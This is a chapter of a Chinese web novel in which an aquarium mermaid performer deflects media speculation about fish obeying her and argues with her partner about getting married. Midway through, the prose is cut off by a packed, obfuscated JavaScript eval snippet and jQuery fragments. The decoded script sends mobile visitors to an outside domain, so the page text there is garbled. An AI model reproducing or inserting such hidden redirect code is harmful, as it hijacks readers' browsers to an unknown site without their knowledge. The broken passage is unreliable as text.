58. 二人的形状
作品:《操控水族钓大佬》 詹羽莹疲惫地叹了口气,十分走心地摇了摇头:“都跟我没关系。去年滨海水族馆的鱼群看似是救了那个孩子,但实际是因为孩子把一袋鱼食都撒进了缸里。看起来像是鱼群在托举他,实际它们是在抢食吃。至于为什么孩子没沉下去,一方面是因为表演缸本来就很深,另一方面是孩子本能的自救——可能挣扎过程中扒拉两下四周的鱼有助于透水换气吧,这么说确实很巧,出现那种离谱的猜测很正常。”
“可这些都是你的一面之词,实际怎么样大家并不知情。”
“你看,”詹羽莹停步,说得语重心长,“我说了不是我干的,跟我没关系,我也是受害者。但你不信啊……因为知道这种没有确切证据证明干了或没干的事情,舆论上一定由阴谋论主导,所以那么多无辜的人才都选择了沉默。”
说完,詹羽莹突然想起来什么似的,从包里掏出一块巧克力,递给对方,然后环视众人:“大家来得这么早,都吃了吗?临淓对面的美食街每家都很好吃,强烈推荐啊!”
然后便在众人的簇拥下走进了临淓。
这帮人当然没那么好打发。他们跟审犯人一样,用车轱辘话来回撬詹羽莹的嘴。
“你问我为什么被送去医院?因为低血糖啊。水里那么冷,不戴呼吸设备,还要根据鱼群的位置来调整动作,更别说还穿着鱼尾……哎你试过吗?建议你亲自尝试一下,在深水中被剥夺氧气和双腿的自由,有多恐怖。”
“为什么别的表演者都没低血糖?因为我瘦啊。”詹羽莹伸出胳膊,来回拍着,“看到没?我吸收不好,在表演者里都算极瘦的了,没其他人能御寒。坚持从事这行也是因为热爱,不然去干别的不好吗?”
“为什么两次都是骚乱后低血糖?因为表演已经很累了,又碰上毕生难遇的紧急情况,能量很快就耗完了。而且你们是没见过我在家的时候。之前我期末复习,直接忘了吃饭,然后头晕眼花爬着去找糖吃才不至于被抬走。只不过这些事没发生在公众视野内,所以才会让大家进行莫须有的关联。”
“问我对临淓最初的章鱼视频?”詹羽莹笑了,“我们拍了好多次,就那一次成功,其他时候章鱼都爬得乱七八糟。你们试个百八十遍,也能做到。”
“行了我该工作了。赵姨,麻烦给大家打八折。”
詹羽莹说着,扭头进了馆内,留下一众媒体被挡在外面。
只不过她走了没几步,成功买来票的人就像黄金鲹一样又跟过来。
“那能不能请你再复制一下当时的场景?”
一位夹克男走在她身侧。
“可以呀,但今天不行。之后一个多礼拜……应该也不行,因为我生理期快到了。临淓不像滨海那样一板一眼,所以没法提前预告。你要是感兴趣,可以天天来蹲点。但八折仅限今天,之后你们就得原价买票了。”
今天来的媒体很多,但游客更多。
随着客流逐渐增多,游客对那些人也开始反感。
“哎你一直问问问的,烦不烦?刚走了一个,又来一个,还让不让我们听解说了?”
“是啊,你们想象力这么丰富怎么不去写书?追着人家问问问要不要脸啊。”
“你是官媒还是自媒体啊?你问这些有谁关心啊?我们作为临淓的消费者都不关心,难道要管那些不给临淓花一分钱的人?要牺牲我们的游客体验,去满足无关人士无关紧要的猎奇心?”
——一波又一波的游客,赶走了一波又一波的媒体。
没走的,也顶多沉默着跟在队尾,一副百无聊赖的样子。
果然,当天晚上就有人发图片视频,指责临淓雇人装客人赶走他们。但很快,便被潮水般的反驳声淹没。紧接着,便是游客们发布的视频,指责好事者扰乱公共秩序,不尊重游客,舆论立刻反转。
那些人见苗头不对,便以笔为剑指责临淓官方对他们不尊重。但马上,整段和片段的录像被发在网上。心怀正义的媒体和路人纷纷证明临淓最大程度表示了对来客的尊重,反而是很多有心之人对临淓的工作人员和游客颐指气使。
慢慢地,关注水族狂躁事件的人少了,大家的注意力都放在了“被动出名”、“出名的代价”上,进行深度讨论。
“看来没什么事了?”
夜晚,詹羽莹靠在床上,查看着各大APP。
让她心暖的是,非常多的临淓顾客表达了对临淓的信任和支持。今早她能鼓起勇气踏出家门,很大程度上是因为给她力量的大家。
她最初只是想做喜欢的工作,却在不知不觉中,收获了多得多的宝物。
这份令无数人求之不得的喜爱和信赖,便是支撑她屹立不倒的本源能量。
她爱水族,爱临淓,所以想把它做好、做大,分享给更多人。
而挥洒出去的心血,又逐渐回馈。在这种灾难性的时刻,更是救命良药。
罗洌洗漱完回来,一手搂住她,一手怜爱地抚着她的耳朵,秀发,和面颊,郑重落下一吻:“我会一直陪着你。”
詹羽莹放下手机,转身环抱住他宽阔的脊背,闷哼了几声。
罗洌笑着把她楼得更紧:“这事结束后,我们结婚吧。”
詹羽莹腾地直起身子,赌气般扭向一旁:“你怎么也这么俗套。”
他们刚在一起后就聊过婚姻。
詹羽莹认为两个情投意合的人在一起就好,实际生活和结婚没什么区别。领结婚证涉及的财产划分太复杂,她懒得搞。
而罗洌执意要领证,说是不止想被彼此承认,还想得到法律的认可。
然后詹羽莹说他傻。
毕竟罗洌是独生子,还是单亲家庭,他父亲有个势如破竹的上市公司。和她领证后,从财产划分角度考虑看,詹羽莹无比沾光——毕竟罗洌不可能用信托和债务手段给她下套。
至于他父亲会不会这么做……詹羽莹就不得而知。
她觉得在一起是两个人的事——她从下到大的家庭环境如此告诉她。可一旦涉及结婚证,她很可能被对方父母看作图谋不轨的人,从而打破她目前的平静生活。
能平静一天是一天——这是她从第一次踏入临淓到现在,新树立的人生信条。
“不是俗套,是仪式感。”
罗洌从背后搂住她,轻轻摩挲她的手背。
“可我不喜欢这些。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465680|164390||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
詹羽莹转过身,眼睛向上盯着他。
“如果你嫌婚礼吵闹,我们就不办。可结婚证而已,没必要抵抗吧?”
罗洌整理着她蹭到面前的长发。
“我这是为了你好。你知道领证后会有多少麻烦事吗?我这是保护你和你爸的财产,还有我们两个幸福的小日子。”
詹羽莹捶了一下他手感出色的胸肌。
罗洌攥住她不安分的手:“麻烦我来解决,不会殃及你和你的家庭。我爸曾经资助临淓的钱,我都还清了,他也没再说什么,显然是认可了现在的临淓和我,只不过碍于面子不说罢了。”
“但你不是也没法确定吗?为什么不亲自确认,是碍于面子不说吗?”
詹羽莹咬向罗洌的手。本以为他会像以前那样下意识躲避,却结结实实撞上了他的手骨。
“嘶……疼吗?”她用另一只手轻轻摩挲罗洌被硌出牙印的手,满含歉意地瞥了他一眼,“你怎么不知道躲啊?”
罗洌松手,重新把她搂住:“因为是你。”
詹羽莹埋在他胸口,半天挤出一句:“看来你是真傻。”
“有你聪明就够了。”
日子一天天过去,临淓逐渐步入正轨,罗洌也回滨海去伺候母鳐。
不知是因为真相过于离谱,还是大家终于对这种无法窥探结果的事情失去了兴趣。
仅仅几天的功夫,网上就没多少人再提这事,连各路媒体也集体息声。
一切都回到了原来的样子。
不同的是,詹羽莹再也没患得患失。罗洌对她来说已经不再是心灵的负担,而是甜蜜的开关。
今天是休息日,詹羽莹按照常规,把自己的车停到离临淓一个红绿灯的五金店。
一下班,她就拨通了罗洌的电话:“今天怎么样呀?”
“刚才监控看到你了,今天穿得很美。”
“嘿嘿~母鳐怎么样呀?”
“挺好的。最近气温越来越高,我们格外注意饲料安全。”
“哦,那就行。”
“你不关心关心我?”
詹羽莹隐约听到起哄的背景音。
“你今天不是回来吗?等你回来,再好好关心。”
不知是不是那天仅隔一门吵架的功劳,詹羽莹和罗洌之间距离更近了。
以前詹羽莹还会犹豫“这个时候打电话会不会打扰到他”“这点小事至于跟他讲吗”。
现在她不管那么多了,反而增进感情了。
她开始明确表达自己的想法,也不再进行多余的伪装。
因为她相信,罗洌同样会直截了当地面对她。
就像两颗一直绕场的原石,终于面对面地碰撞。
会有火花,也会磨掉棱角。
但最后,都会成为最适合彼此的模样。
以詹羽莹的体验来看,她在二人关系里变得比以前尖锐,却反而更贴合罗洌的形状。
她和他,果然是天生一对。
詹羽莹嘴角扬起腼腆又幸福的笑:“等你回——啊!”
初夏,夕阳尚有余晖。
詹羽莹的眼前,却一片漆黑。